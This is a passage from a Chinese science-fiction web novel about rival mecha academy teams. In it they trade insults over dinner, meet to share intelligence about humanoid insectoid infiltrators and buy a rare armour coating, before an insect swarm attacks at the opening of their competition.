楼下五个没说话,面无表情。 颂千纱拉着胤允蹲在洞口,“哇塞,你们五个都在啊。” “我看看我看看!”周之旭也围了过去,挥手与他们打招呼:“你们好啊!我们是克林迪斯军校的!” 两个军校主力第一次会面。 空气依旧安静。 时循绝望地闭上了眼。 站在一旁的林清澜望着时循,嘴角忍不住抿出一丝笑意,他也走上前往洞里看,微笑着朝几人挥手打了个招呼。 林清澜打眼望去,洛尔军校五个人做成一圈围在沙发上,显然是在讨论战术。 因为克林迪斯军校在广场上暴露了实力,所以几乎不用猜就知道,他们一定是在讨论克林迪斯军校,也就是自己军校的战术。 林清澜收回脑袋,眼中笑意更盛。 过了许久,洛尔军校的几人才反应过来。 其中一人收起了隔音球。 一位看起来肤色比较黑的男生挠了挠头:“呃……你们这样偷听战术也太显眼了吧?” 一位戴眼镜的男生推了推眼镜:“偷听完帝辉,开始偷听我们这了?” 时循沉凝了一会儿,刚准备开口,颂千纱抢先搭话:“我们刚刚在试新装备,没想到给弄塌了。” 那肤色比较黑的男生面露疑惑:“不是有专门的试炼场吗?在宿舍试?” 话毕,洛尔军校五人对视一眼,那戴眼镜的男生了然地推了推眼镜,心中更加笃定他们是为了偷听战术。 时循瞥了眼几人的面色,忍不住扶额。 洛尔军校的几人窃窃私语了一阵,一个抬头女生出声。 “也可以啊!那我们去哪吃?我们不能出比赛区,好像只能去食堂。”一个中长发女生笑眯眯地望着洞里的五个脑袋。 “那我们一楼见!”周之旭朝几人挥了挥手。 洛尔军校看着洞里的五个脑袋消失,但声音依旧响起。 “这洞咋办?” “假装不知道,军区不问你不说,军区一问你惊讶。” “猫们太!” 克林迪斯几人的声音渐行渐远。 洛尔学院的几人视线凝固了半晌才移开望向队友。 “……” “他们不愿意把这个洞补了,是为了偷听我们的战术吧?” “不知道,看起来不像要脸的人。” “同意。” 没几分钟,克林迪斯军校的人就下楼与洛尔军校的五人碰上了面。 听说所有学校的老师都被抓了,除了林清澜,两方军校都默契地没问老师所在。 “你好,我叫颂千纱!”颂千纱朝五人招手,依次介绍着:“这位是胤允,时循,齐焦,周之旭,还有这是我们的老师林清澜,很高兴认识你们!” 洛尔军校率先和林清澜问好,后五人也招手与克林迪斯五人打招呼。 那位笑眯眯的女生朝五人挥手:“我叫黄蕊。” 黑皮肤的男生出声道:“查宁。” 戴眼镜的男生冲五人点头:“苏茗喁。” 剩下两个长得一模一样的双胞胎男生同时冲五人打招呼:“我叫戚萧雨,他是我的双胞胎哥哥,叫戚萧何。” 两个军校的人寒暄后就往楼下走。 刚出宿舍楼,众人脚步一顿。 不远处的林荫道上,帝辉军校五人统一的白金色校服极其显眼。 为首的时讯神色淡淡地站在一旁,一个女生站在时讯身旁抱着臂,态度极其傲慢。 岩宁军校的人站在帝辉军校身旁,像是习惯性让出了半个位置,微微佝偻着腰。 四个军校的人在这一刻正面撞上,脚步同时慢了下来。 世界像是凝固了一瞬。 帝辉军校的那个女生侧身望向洛尔军校,眼神中是止不住的嘲意:“你们还敢和克林迪斯军校的人走在一起?真是胆大!” “所有人都在传,克林迪斯学校的老师是虫族。”时讯转眸,意有所指地望向林清澜,眼底带着敌意。 林清澜目不斜视,对时讯的敌意与质疑恍若未闻。 洛尔军校黄蕊的目光望向克林迪斯六人,沉凝了半晌,报以微笑。 她从容地回复时讯:“谣言止于智者。” “你知道自己为什么不敢和我们走在一起吗?”齐焦径直往前走着,面上透着漫不经心,眼中却全是冷意,望向帝辉军校五人:“因为你们太弱,只会跟在帝辉身后摇尾乞食,大狗带小狗。” 话毕,帝辉军校与岩宁军校怒目而视,与克林迪斯和洛尔挤着走。 四个军校谁也不愿意后退一步。 于是一条宽敞的大路呗他们横着占满,远远看去,像四种颜色的队伍并排推进。 夕阳不断下落,在他们谈话中从金黄变成了橙色。 “年年吊车尾,还好意思说自己很强?别人很弱?”岩宁军校一个身材高瘦的男生嗤了一声。 “比你们年年给帝辉当狗,捡别人不要东西吃,只能堪堪那个第四名好。”时循回的声音很淡,却足够让在场所有人听清。 颂千纱忍不住笑了出来,歪着头往岩宁军校探头:“你们还有这种癖好啊?这癖好挺小众啊,我们克林迪斯可没有!” 岩宁军校五人脸色黑的很彻底。 周围火药味直冒。 “这次就准备被踢出五强吧,克林迪斯。”时讯冷笑一声。 下一秒,时讯的腿猛然发力跑了起来,势要越过其他三个军校率先冲刺食堂。 几乎同一时间,克林迪斯的人也动了,两个军校同时飞奔冲刺。 地面响起一阵阵急促地跑步声。 颂千纱早就察觉他们的动机,临走时还拍了一下黄蕊的肩膀提醒。 黄蕊愣了半秒才反应过来,“快追!晚了只能吃他们的剩饭!” 岩宁军校被拉在最后,他们想要追又不敢暴露实力,只能憋屈地走在最后面。 齐焦一边跑,一边冲着一旁的帝辉军校五人叫嚣:“等我们比赛拿第一了去他们帝辉军校放烟花!” “我同意!”颂千纱竖起大拇指,假装不经意砸向了身旁的时讯。 “砰!” 一声闷响,时讯的脚步慢了半拍。 他的鼻尖红了好大一片,帝辉学院的几人侧目惊呼。 颂千纱这才回头,一脸无辜地眨了眨眼:“哎呀!不好意思啊!帅哥!” “你!”时讯的脸色骤然变黑,指着颂千纱就要追上去还手。 时循望着他提速的背影,蹙着眉喊出声:“时讯!你这么大了还打女孩子?!” 可颂千纱的速度奇块,时讯虽没尽全力,可她这游刃有余甩了她一大截的模样,让时讯暗自心惊。 他偷偷瞄了一眼时循,又剜了一眼林清澜,不情不愿地把指着颂千纱的手放了下来。 安静了还没一秒,颂千纱叉着腰冲时讯摇头晃脑,“真是抱歉!我第一哦!” 她接着朝帝辉军校摆了摆手,一脸遗憾:“承让。” “……谁说你们是第一?”帝辉军校的女生抱臂出声。 “我们不是谁——”颂千纱回头。 食堂已经坐了不少人,空气里都是饭菜的香气,一旁还有自助营养剂。 蓝水军校的五人坐在最里面的一排,已经吃上饭了。 “……”颂千纱不说话,沉默地转头打饭,朝窗口要了三份红烧肉。 胤允站在颂千纱身后,瞥了眼帝辉军校五人:“反正比你们晚走,比你们早到。” 到齐焦的时候,红烧肉正好剩最后一份。 齐焦要了后,幸灾乐祸地朝帝辉望去:“不好意思,晚来的没肉吃,只能吃营养液!” “……不!稀!罕!” 时讯咬牙。 蓝水军校队长吃了全程的瓜,嘴上啧啧声不停,眼中全是嫌弃:“居然能为了争第一个吃饭强起来,真是幼稚!” 蓝水军校队员忍不住发问:“队长,不是你让我们提前一个小时来的吗?” 帝辉军校坐的离他们近,时讯瞥向蓝水主力队队长,眼神凉凉的:“你不幼稚,你在食堂门口带队友罚站一小时。” “……”蓝水军校队长被呛的咳了好几声。 他望着时讯,沉默地咬了一块红烧肉。 时讯脸果然黑了。 作者有话说:又改了一下,12点发的我自己感觉写的不是很好,还是建议重看一遍思密达不看也可以,因为其实也没怎么变《 》 70-74 第71章 克林迪斯五人坐在离门口最外面的位置,他们三两下就吃完饭,也不走,坐在那窃窃私语着什么,目光还不断瞥向各个军校。 食堂吃便饭很快,最后一个到的岩宁军校五人刚刚打完饭,蓝水军校就已经吃完了,正准备往训练场走。 齐焦冲着克林迪斯众人点了点头,比了个ok的手势。 蓝水军校几人瞥向克林迪斯主力,一脸莫名其妙。 她的手腕一甩,一截细绳瞬间从袖口中弹出,往蓝一序方向甩去。 蓝水军校队长刚走到门口,他的腰间一紧,他蹙眉低头。 那根细绳不知道什么时候已经缠在了他的腰上。 还没等他反应,绳子猛地绷紧。 齐焦勾着唇,把手绳子拽紧往回拉。 蓝水军校几人瞬间转头,有人已经下意识弓身,抬手摸向了腰间的枪支。 但下一秒,他们的队长却只是被拖回座位上,让人有些摸不着头脑。 蓝一序刚刚坐稳,腰间的绳子又骤然被齐焦收回,他抬眸望向她。 一只手忽然落在了他的肩膀上,动作丝滑,时循侧着身子靠了过来。 时循挑了挑眉,痞笑望着他们队长,一脸倜傥:“蓝一序,找你有事。” 蓝水军校主力队面面相觑,还没弄懂眼前的状况,就被颂千纱和周之旭拉着坐在了不远处的椅子上,热情招待着。 他们五人的眼中惊疑不定,就连坐在不远处的洛尔军校众人都觉得古怪。 蓝水军校队员瞥向周之旭问:“你们搞什么?” 周之旭与蓝水军校的人很早就认识,私交甚好,他一脸狡黠:“找你们队长商量些惊天壮举。” 他的目光不经意瞥向其他耳朵已经竖起来的三个军校,扬声道:“是一些胆小鬼不敢触及的冒险!” 周之旭扬声说完,食堂另一侧的几个军校的主力同时抬起头来。 时讯淡淡瞥了周之旭一眼,没说话。 但时讯身旁的女生慢悠悠地擦了擦手,不屑道:“商量着怎么一起比赛苟活到最后吧?你们这些弱队只能抱团取暖了。” 克林迪斯对于帝辉军校的嘲讽恍若未闻,与蓝一序继续小声密谋着什么,坐在离他们只有几米远的黄蕊也听着。 只见蓝一序与黄蕊的脸色逐渐严肃。 “……” 岩宁军校的几个人凳子不动声色地慢慢往这边挪,凳子腿在地上发出微微的摩擦声。 颂千纱凉凉地瞥了他们一眼,眼神中明晃晃的嫌弃。 不多时,帝辉军校的五人也用餐完毕,他们慢条斯理的整理好了着装,才转身往外走。 时讯正要转身离开,时循忽然出声:“时讯,肖厉寅,过来。” 正要踏出食堂的时讯身形忽然滞住,他顿在原地没动。 食堂原本嘈杂的声音逐渐低了下去,只剩餐盘与筷子碰撞的声音,但越来越多的人的目光不自觉往克林迪斯的方向瞟去,甚至有人假模假样的停下筷子。 帝辉军校队员站在时讯身后,踟蹰了一阵,等着时讯下一步的行动。 “你凭什么让我们队长过去!你是哪根蒜!”帝辉军校的女生见时讯久久不动,变愤慨出声。 食堂的这片区域霎时间静了一瞬。 岩宁军校的队长肖厉寅也没动,眼神在二人身上来回瞟。 “洛熙与,她是我姐。”时讯瞥了她一眼,眼神晦涩不明,他转身朝时循走去。 帝辉军校的女生显然早就知晓,眼神中没有讶异,带着些气急败坏地望向时循:“可她已经——”话说到一半见时讯去了,她跺了跺脚往回走,不情不愿的坐下。 时讯冷着脸,大步流星朝时循走去。 食堂里不少视线跟着他移动。 他停在桌边,先是扫了眼座位,又看了眼时循,然后冷哼了一声,抬手推了林清澜一下。 林清澜被推的往旁边一歪,眉心微蹙。 时讯硬是在林清澜和时循中间坐下,抱着臂,面色依旧冰冷。 这冷脸的架势,看的颂千纱咂舌,她凑到齐焦耳边,小声嘀咕:“……原来是姐控啊。” 其实声音并不小。 在这里的机甲单兵哪个不是听力超群。 时讯黑脸侧目,瞪了一眼时循,又狠狠地推了一把林清澜,接着他又非要和时循保持一臂距离。 时讯恶狠狠地瞪着颂千纱,一个字一个字咬出来:“是!表!的!” “咳咳——”林清澜被时讯推的几乎要整个靠在胤允身上,面色更加苍白,长睫下还带着快要溢出来的黯然。 时循微微蹙眉,瞥向时讯,语气中带着训斥:“坐好!” 林清澜低头沉默地理着衣襟,嘴角不留痕迹地翘起,笑容被长发遮住。 胤允瞥了林清澜一眼,嘴角抽了抽,默默往外挪。 他把原本周之旭的座位给占了,还把周之旭的餐盘放到了蓝水队员对面。 蓝一序看了林清澜一眼。 正走过来的肖厉寅也沉默地望着他。 时讯转头又看向林清澜,牙齿磨得咔咔作响:“装货!绿茶!” 时循瞥了时讯一眼,忍不住抬手扶额。 她抬眸见正走过来的肖厉寅,招手道:“来来,坐时讯对面。” 黄蕊原本就坐在不远处,根本不需要调整位置,五大军校的人在餐厅坐在一起,时循瞥了眼周围正对着他们的摄像头,嘴角微勾。 “我们有个很重要的事和你们商量。”时循顿了顿,望向众人,表情严肃。 颂千纱坐回座位,点了点头,煞有其事的接话:“大家比赛都是为了荣誉,我们准备加点年轻人的奖励。” 齐焦嘴角几乎压不住,越扬越上:“今晚,我们五大军校——提前进入一个没有硝烟的战场,一决高下。” “什么没有硝烟的战场?模拟赛?”蓝一序微微蹙眉。 “想提前知道各队的打法吗?把我们四大军校当傻子?”时讯又似有若无地瞥向林清澜:“这蠢想法谁想出来的,你们唯一的老师?” 下一秒,他的后脑勺被狠狠拍了一下,时讯瞬间炸毛:“时循!我对你的容忍是有限度的!” “坐下。”时循看都没看他一眼。 “坐下就坐下!”时讯一屁股坐下,恶狠狠地盯着对面的肖厉寅。 肖厉寅:“……” 坐对面原来是这么个意思。 时循环视一圈,食堂中所有人都看着他们,包括摄像头。 “比赛项目很简单。”周之旭清了清嗓子。 四个军校的队长都盯着他,食堂连用筷子的声音都没了。 他抿了下唇,缓缓开口:“斗地主。” “谁输——”周之旭停顿了一下:“喊一晚上爸爸!” “并且第二天在入场时要对直播喊,欢迎xxx军校业主回家,然后敬礼。”胤允说的慢条斯理。 食堂安静了几秒,有人咳嗽了一声。 林清澜没说话,几乎把头埋进饭里,不断抖动肩膀。 四大军校的主力队们集体望着克林迪斯主力,表情一言难尽。 整个食堂没人说话,望着监视器里的几人也忍不住扶额。 他们甚至感觉,自己阴谋论克林迪斯的几个主力,是不是有点高看他们了。 黄蕊忍不住偏过头去,一脸不忍直视。 肖厉寅叹了口气,拧开营养液喝了一口。 蓝一序刚抢过周之旭的香蕉塞进嘴里,还没开始咀嚼,动作就凝固了。 他沉默了几秒,他忽然有点怀疑自己是不是被耍了。 他和黄蕊刚刚听时循的,在隔音墙后面假装严肃,是不是某种服从性测试啊? 见周围一阵静默,时循的视线慢悠悠地扫视了一圈。 她半阖着眼瞥向诸位队长,面上全是嘲讽,指节有节奏地敲打着桌面:“你们不敢玩吗?” 时讯瞥向克林迪斯的各个主力看了几秒,又难以置信地望向时循,眼神关切:“循……你脑子坏掉了?” “这么多人怎么玩?”蓝一序沉默了许久,望向时循。 “五个队长玩,其他队员过来出谋划策。”时循撑着脑袋。 黄蕊吐了口气,像是花了很大力气才消化克林迪斯的诡异行为。 她望向克林迪斯几人,询问道:“……几点?” 颂千纱眨了眨眼,嘴角勾起:“半小时后。” 话毕,时循先站了起来,她捋了捋衣襟,齐焦勾着笑,慢悠悠地把椅子往后一推,颂千纱牵着胤允,朝其他四个军校勾唇挥手。 “一会儿见。” 这六人像是商量好了一样,一个接着一个起身往外走。 四个军校的人望着他们的背影一阵沉默。 肖厉寅忽然蹙眉出声:“……他们不会是为了第一个走才出的这个损招吧?” “……”不知道为什么,突然觉得肖厉寅的推测很有道理。 黄蕊蹙眉望着几人的背影。 太阳已经落在,天色要暗不暗,反而衬得克林迪斯六人的背影格外鲜活。 “蕊姐姐,真要去吗?会不会有什么阴谋。” 她没马上回话,带着洛尔军校的六人站起来往外走。 出门口后,黄蕊对着苏茗喁微微摇了摇头:“克林迪斯今年的几个队员都很强,那颂千纱的速度不输3S+机甲单兵。” “我总觉得,他们找我们,应该不只是斗地主这么简单。”黄蕊如是说道。 克林迪斯五人很快就跑回宿舍,开门时带了些震颤,洞中开始簌簌往下落灰。 颂千纱与时循蹲在虫族打出来的洞面前研究了半天,往缺口处摸了摸,洞口边缘还带着余热。 “要隔音。”时循蹙着眉头敲了敲墙面。 颂千纱点了点头,她歪头思考半晌,从粒子环摸出一块精铁,往洞里一塞。 “搞定!” 时循敲了敲精铁,与缺口处形状一致的精铁发出铮铮响声回应她的手指。 齐焦走过来瞥了眼,捏着下巴点了点头:“高端的食材往往只需要简单的烹饪方式。” “……”时循望向正在击掌的二人,声音凉凉的:“这块铁很贵,朋友们。” 颂千纱无所谓的耸了耸肩:“等比完赛再拿走喽。” 齐焦竖起大拇指,肯定道:“省钱又实用的小妙招。” 时循听完后插着兜走向饭桌,神色淡淡:“有理。” 仅半个小时,天就已经完全黑了下来。 夜幕与海相接,远远望去,只有远方一处昏暗的灯塔把大海与夜空分开。 其他四个军校休整了一番后,就陆续前往克林迪斯军校的宿舍。 洛尔军校刚回到自己宿舍,抬头瞥见天花板那块闪烁着光的铁块,对视半晌,有些汗颜。 “……简单粗暴。” “确实。”- 克林迪斯房间内。 “一会儿要是测出来有许多虫族怎么办?”周之旭叹了口气,手里捧着一个巨大的骰子搬到了桌上。 “咚——”骰子被放在了桌面上。 这是颂千纱做出来检测虫族的工具。 外形看起来只是普通骰子,只是体积大的离谱。 大骰子与小骰子的功能无异,遇到虫族依旧会变黑,不会指向谁,但它检测到的数据会直接传回颂千纱的光脑里。 “标记等待明天的比赛时刻,然后,全部杀光光!”颂千纱靠在胤允怀里昏昏欲睡,手横亘在脖子上比了比。 “你俩一会儿……算了。”时循有些嫌弃二人的粘腻。 没过多久,门铃很快就响了。 颂千纱蹙了蹙眉,被开门声叫醒,起来去开门。 门口站着的是帝辉军校的五人,为首的是队长时讯,颂千纱多望了他一眼。 时讯与时循长得并不相似,他眉宇间带着稚气未脱的青涩,但他的气质却与时循有些异曲同工之妙,都是又淡又矜贵的气质。 颂千纱正准备侧身,帝辉军校的洛熙与黑脸冲她喊道:“到底让不让进!看什么看!” “请进。” 洛熙与说话的功夫,颂千纱已经侧身让开,完全懒得与她计较。 时讯环视了周围一圈,瞥见时循正坐在背后的一个椅子上看着光脑,查询着什么。 他抱着臂带帝辉四人,故意坐在了离时循不远不近的沙发上,二人的距离是正好时循能够看到的范围。 林清澜给帝辉军校的五人每人倒了一杯柠檬水。 时讯坐在沙发上抱臂不动,余光却一遍又一遍不经意地往旁边飘。 时循正低头看着光脑,像是完全没注意到他。 半晌,时讯又瞥了一眼,还是没理。 他指尖在扶手上敲了一下,垂眸盯着面前的茶水,神色逐渐冷了下来。 帝辉其余四人正谈笑着,没发现自己的队长脸已经完全黑了下来,只是蹙着眉有些疑惑。 一人与正坐在他们对面的胤允搭话道:“怎么感觉越来越冷了?你们的恒温系统是不是开的太低了?” 胤允单手撑着头,用下巴轻轻扬了扬,指向他们队长。 帝辉四人往身旁一瞥,便假咳一声,装作没看见继续闲聊。 时讯终于憋不住出声道:“时循,你忘了我不喝这个?” 时循这才抬头朝着时讯那瞥了一眼,后望向林清澜道:“去给他换杯咖啡。” “好。”林清澜轻轻点头。 他从粒子环里拿出一杯罐装咖啡放至时讯面前,后又把时讯面前的柠檬水收走。 “你!”时讯沉默了两秒,他的眉头蹙的能夹死一只苍蝇。 时讯转过头去对着林清澜怒目而视:“我不喝这种!” “循。”林清澜转身朝颂千纱走去,对身后死死盯着的视线视而不见,泰然自若地走向另一间屋子。 时循头也不抬,眼神依旧看着光脑,动作不停,冷声道:“这里不是时家,把你的少爷病收起来。” “……” 帝辉军校的四人望向时讯,都鹌鹑似的不出声。 时讯瞥了身边四人一眼,后抱着臂坐在沙发上绷着脸,也打开光脑。 洛尔军校几分钟后就到了,剩下两家也前后脚到。 四大军校齐聚,小小的宿舍坐满了人。 谁也没有急着开口,蓝水军校望着面前巨大的骰子,敲了敲,眼神惊奇。 骰子嗡的一声腾空,表面亮起一层微光。 这声音吸引了几个机甲师的注意力,他们投掷了几次,开始研究起来。 颂千纱瞥向几人,眼神微闪,打开光脑。 几个队长不动声色的观察着克林迪斯军校的布置,隔音装置,紧闭门窗,面前倒是真有几副牌和不少筛子。 一时还真看不出来克林迪斯众人到底想要搞什么。 “你们想找我们聊什么?”时讯瞥向时循:“如果真是斗地主这么简单,我们就恕不奉陪了。” 时讯抿了一小口罐装咖啡,眉头微微蹙了蹙。 时循没有马上回答。 她望着光脑的消息神色紧了紧,瞥向洛熙与,半晌,抬眸把光幕投射到几人面前。 光幕亮起,蓝白相间的资料在空中展开。 时循开门见山:“这是我们找到的资料,所有的老师都被掳在这里。” 她伸手指了指:“前些天虫族在首都星隐藏的据点。” 周围的嘈杂声瞬间安静了不少,所有人的目光都转向光幕。 蓝一序紧绷着脸紧盯光幕,手臂用力到微微颤抖。 她握着手中的铁块敲了敲桌面:“如果我猜的没错,老师们很快就会被虫族吞噬,后要么成为人形虫族回到这里,要么死在虫巢。” 有几人同时抬头,在这一瞬间,几乎所有人的呼吸都停滞了一瞬。 “接下来要分享的更重要。”时循声音淡淡的,全然不顾他们是否反应过来,把光幕切了个画面。 “我们在打斗场和军区医院见过人形虫族。”这次说话的是颂千纱,身后站着胤允:“人形虫族——与人类没有任何不同。” 几乎所有人同时感觉到不寒而栗。 她和与胤允二人的异色瞳在些许昏暗的房间中闪烁,不动声色地观察着众人的反应。 有人下意识挺直脊背。 “不过他们有一个隐秘的技能”胤允接着说道。 “人形虫族在快死的时候,只要血溅到了人的皮肤,就会直接寄生那人。” 他揽住颂千纱的肩膀,淡淡扫过几人。 “……” 在场几十人,无一人接话,脸色血色尽失,就连时讯的面色也微微发白。 “所以——”颂千纱依旧笑眯眯地望向众人:“我建议你们加固你们的机甲。” 岩宁队长的面色瞬间冷了下来,他目光灼灼地瞥了眼颂千纱,又很快移开,朝身旁望了一眼。 颂千纱瞥向他,眼神微眯。 颂千纱的目光慢悠悠地转向众人,展唇一笑:“我帮你们也可以,不过作为对手,我收费很贵哦。” 周围依旧安静。 时讯从克林迪斯说的第一句话开始,神色就逐渐紧绷,半晌,他盯着时循,目光第一次冷了下来:“凭什么相信你们?” “信不信由你们。”齐焦回答道:“我们一会儿会把首都星虫巢的位置发给你们,你们自己去验证。” 齐焦嘴角挂起一丝漫不经心的笑,悠悠道:“虫巢离这里很近呢。” 黄蕊不动声色地观察这其他军校的神色,蹙眉思忖了半晌,抬眸问:“你觉得我们之中,也可能有虫族?” 胤允找了一处与颂千纱一起坐下:“不知道,但如果不早做准备,我们所有人都会成为人形虫族。” 黄蕊蹙了蹙眉,正欲开口,身侧忽然传出一声碎裂的声音。 “咔嚓!”众人一愣,转头看去。 “嘿。”周之旭不知何时闪身至岩宁军校的一人身边,淡淡地用手捏碎了那人的光脑,随手甩了甩碎片。 “克林迪斯不同意拍照或者录像。” “你!”那人震惊地往下望着自己碎了一地的光脑。 “我们冒着风险分享,当然要掐断所有可能啦。”颂千纱微笑瞥向那人,她清了清嗓子,感觉喉咙有些干。 胤允瞥了眼岩宁,冷嗤一声,继续道:“不知道你们近期有没有刷到林上校的发言。” 蓝一序点了点头,意有所指地瞥了眼时讯和时循,道:“虫母已醒,全员皆兵,但星网上说,这真实度有待考据?” 毕竟政治立场上,现在如日中天的时家和洛家,与林斯福的立场可是背道而驰。 一个主张首都星没有异常,另一个却主张马上要打仗了。 大家更多的还是愿意相信时家。 毕竟,谁也不愿相信,这个号称最安全的星球,即将爆发一场人虫大战。 胤允从粒子环拿出一瓶奶,递给颂千纱。 颂千纱接过,插上吸管。 胤允这才转过头,望向蓝一序:“不管你是否相信,虫母已经醒了。” 他姿势放松地靠着椅背,淡淡说道:“在明天比赛的时候就会开战。” 几乎所有人都在此刻屏住呼吸。 作者有话说:生出来了,这周状态好一点以后要开始修一修自己前面状态不好的时候写的东西了 第72章 时讯瞥向身侧的洛熙与,片刻后,视线又落在其他四大军校的每个队长身上停留良久。 最后,他轻笑了一声,姿势松散地靠在椅背上。 “所以你是想说——”时讯望向胤允:“这个首都星战力最强的第一军团驻扎地。” 他又指了指外面:“现在已经是虫族的猎场了?” 房间安静了许久,众人的目光都望着克林迪斯的五人。 齐焦站在时循身侧,勾着唇迎向众人的目光,周之旭抱着臂倚在墙侧,胤允气定神闲地坐在沙发上,眼中全是一旁的颂千纱。 五人的显然是已经知道这个消息许久了。 时循的手指在桌上来回打圈,半晌,她抬眸望向众人,神情莫测:“也许已经是了呢。” 众人眼神纷杂,有质疑,有惊惧,更多的是晦涩不明。 洛尔军校的双胞胎忽然出声:“如果是真的,那比赛就不是比赛了。” 蓝一序冷声道:“是战争。” 这些来自不同星球,接受不同文化的年轻人都感受到了一种前所未有的凝重。 昏黄的灯光映在时循的侧脸上,把她那张略显幼态的脸照得更加柔和,可眉宇间的上位者气息却扑面而来。 她泰然自若,任凭所有质疑的眼光从她的身上。 蓝水的机甲师忽然抬眸望向颂千纱:“机甲密封层你们是怎么升级的?” 颂千纱打了个响指:“问到点子上了。” “用鎏金涂层,你们要吗?”她看向那名机甲师,眼神中闪过一丝狡黠:“五千万一瓶,我这有五瓶。” “……”那机甲师表情凝固了一瞬:“你确定?” 周围的目光都开始诡异起来。 鎏金是所有装备中毋庸置疑的顶级防御物品,物品稀有,有价无市。 “嗯,你们四个学院可以竞争五瓶哦。”颂千纱朝机甲师眨了眨眼。 “既然马上要打仗了,你还不忘做生意?”洛熙与嘲讽的看向克林迪斯几人。 颂千纱瞥了她一眼,把她视若无物,她慢悠悠地把喝完的牛奶瓶放回桌面。 “转给谁?”黄蕊忽然出声。 “我们五个谁都可以。”颂千纱回。 她话音刚落,蓝一序就开口:“转过去了,两瓶。” 颂千纱瞪大眼睛:“这么快?不验验货?” 蓝一序嘿嘿一笑,脸上的笑容与周之旭如出一辙:“兵贵神速嘛。” 颂千纱了然,瞥向周之旭,周之旭点了点头。 接着,颂千纱从粒子环里拿出五瓶鎏金。 那金黄色的流光在瓶中缓慢的晃动着,色泽纯粹,密度惊人。 是真的鎏金。 蓝一序站起身拿了一瓶放在手里研究,眼神微凝。 “转了。”时讯在看到实物后就立马转账了,后也起身拿了一瓶给自己队伍的机甲师。 时循瞥向自己光脑的转账信息,挑了挑眉。 黄蕊与肖厉寅刚刚加上颂千纱的联系方式也转了过去,鎏金瞬间被瓜分,几人队伍里的机甲师都研究了起来。 周围的声音再次嘈杂起来,不远处的大骰子嗡的一声,骤然从中间裂开亮起一道光幕。 颂千纱瞥向大骰了一眼,后打开光脑,低头看了一眼:“看来,不用等明天了。” 她目光灼灼地扫视了一圈屋内,低声喃喃:“虫族已经来了。” 这场名为游玩实则分享情报的聚会在不久后结束。 没人有心情再说笑。 各个军校的人陆续离开,气氛比来时沉重许多。 林清澜一整个晚上都待在屋内,在屋外的人都走干净了以后,林清澜屋内依旧安静。就连周之旭上前敲门也迟迟不开。 他走近门框,屋内依旧听不见任何动静。 五人对视一眼,走向他的房间。 五人等待许久,直到他们准备破门时,林清澜才开门走了出来,面色看起来异常苍白。 里面蓝光闪烁,显然是开了隔音球。 时循蹙了蹙眉,望向林清澜。 “怎么了?林老师。”周之旭上前问:“你的脸色有些吓人。” 林清澜微微摇了摇头:“虫母想要把我召唤回去,反抗用了不少力气。” 这半年内,林清澜彻底与虫族融合,彻底能感受到虫族的召唤。 “你们感受到了吗?”林清澜的视线望向颂千纱和胤允二人:“自从来了这里,似乎就完全进入了虫母的范围。” 颂千纱点了点头,蹙眉说到:“像是一种奇怪的领域。” 胤允金眸微微一闪,瞥向林清澜,姿势依旧松散:“应该是它的某种天赋,比如说,你现在随时都有可能失控。” 话毕,林清澜脸上的血色尽失,他望向胤允,脸色绷得很紧。 时循蹙了蹙眉,轻叩桌面,望向林清澜:“你明天不要去了。” 林清澜的目光望向时讯,张了张口,又没有说话。 半晌,他试探着开口,朝着时循轻声道:“但这是最关键的——”“所以,不要去。” 时循望向林清澜的眼神冰冷,声音不带任何感情:“你很危险。” 林清澜沉默了许久,余下四人也没有说话,房间落针可闻。 他眼里的最后一点光亮也彻底变暗,肩膀松懈了下来,脸色比刚才更白。 林清澜紧抿着唇,垂眸望着自己的手指一下一下地用力抠着。“好,那我明天就在这里等你们。” 他用力吸了口气,勉强对五人牵起一丝笑:“那我回房了。” 颂千纱凝望着他的背影,叹了口气,终究没有说什么,和几人打了个招呼,就也回了房间。 深夜,克林迪斯几人都已经沉睡,只有林清澜房间的低吟声伴着时循枯坐到半夜。 凌晨四点,时循靠在椅背上,瞥向窗外。 窗外的海浪依旧在不断拍打着,风一下下吹起窗帘,天快要亮了,带着微光的海很漂亮,是战斗前最安静的一刻,但时循实在是没有欣赏的心情。 杂乱心情和复杂的想法堆叠在了一起,让她疲惫。 时循瞥了眼光脑上的名单,又瞥向林清澜不久前发来,告诉她厨房做了早餐的消息,捏了捏眉心。 她深深叹了口气,把颂千纱用骰子确定的虫族名单发给各个队长。 半晌后,她起身朝着林清澜的房间走去- 第二天清晨,所有军校的主力队依次通过安检,正式踏入军区,开启了直播模式。 这个军区是常年的战场,因此没有现场观众,都是星网直播。 战场在海边,周围算是整个星系里,为数不多的自然形成的热带雨林,也因此,虫族在这里异常凶悍,哪怕这在整个星系都少有,也无人敢来此一观美景。 五个军校队伍集结,一名上将在上面介绍规则。 五个队长的脸色显然都不太对,每个人黑眼圈都很重,心事重重,显然都是一夜没睡。 肖厉寅盯着远处的树林出神,时而瞥向身边的几人。 黄蕊和蓝一序在看着光脑,望着名单,眉头越蹙越紧。 时讯望着上校,紧眉深锁。 洛尔学院的双胞胎之一戳了戳挨着的周之旭,小声嘀咕:“你们老师怎么没来?” “生病了。”周之旭捂着嘴悄悄解释。 话引刚落,就见台上的上将朝这边狠狠剜了一眼。 两个人鹌鹑似的站好。 上将在上面刚刚介绍完毕,颂千纱和胤允忽然抬眸朝北边看去。 森林中的风声掺了些别的声音,仔细听,是虫族的脚步声。 “穿机甲!”颂千纱爆喝一声,与胤允同时穿上机甲。 下一秒,克林迪斯剩余三人也上了机甲。 虫母发现内里的动静,彻底不再掩饰,熟悉的呓语在颂千纱胤允二人耳边响起,二人面色紧绷,抵御着呓语的影响。 颂千纱开口问:“还会头疼吗?” 胤允轻声道:“一点点,无伤大雅。” 上面还未讲完致辞的上将沉着脸望向克林迪斯:“你们克林迪斯——”他的耳麦忽然响起:“上将!有虫潮!” 上将面色大变,顾不得威严和仪表,大吼道:“穿机甲!快!” 话毕,上将就驾驶着机甲往外冲去:“第一军团,敌袭!敌袭!” 防护罩刚刚开启就不但震动着,虫潮已黑压压的一片迎了上来,伴随着某种奇怪的蜂鸣声,让人心跳加速,周围围着的一些士兵开始流鼻血。 “快堵住耳朵!”时循用机甲大喊。 所有学校的主力在机甲上一跃而起,准备冲出防护罩朝外作战。 下一刻,一股奇怪的冲击将防护罩一下轰碎。 碎成了很多瓣。 所有人族都静默了一瞬,握紧武器,脸色微白。 连三十秒都没有撑住。 这可是第一战区最高端的防御罩,所有人都知道,这样轻易的破坏,意味着什么。 外面一圈厮杀声响彻大地,但内圈的虫族却井然有序,并没有主动攻击。 可内圈的安静却更让人两股战战,让人不自觉地感受到一股威压。 虫族忽然变得安静,整齐地退开,让出一条路。 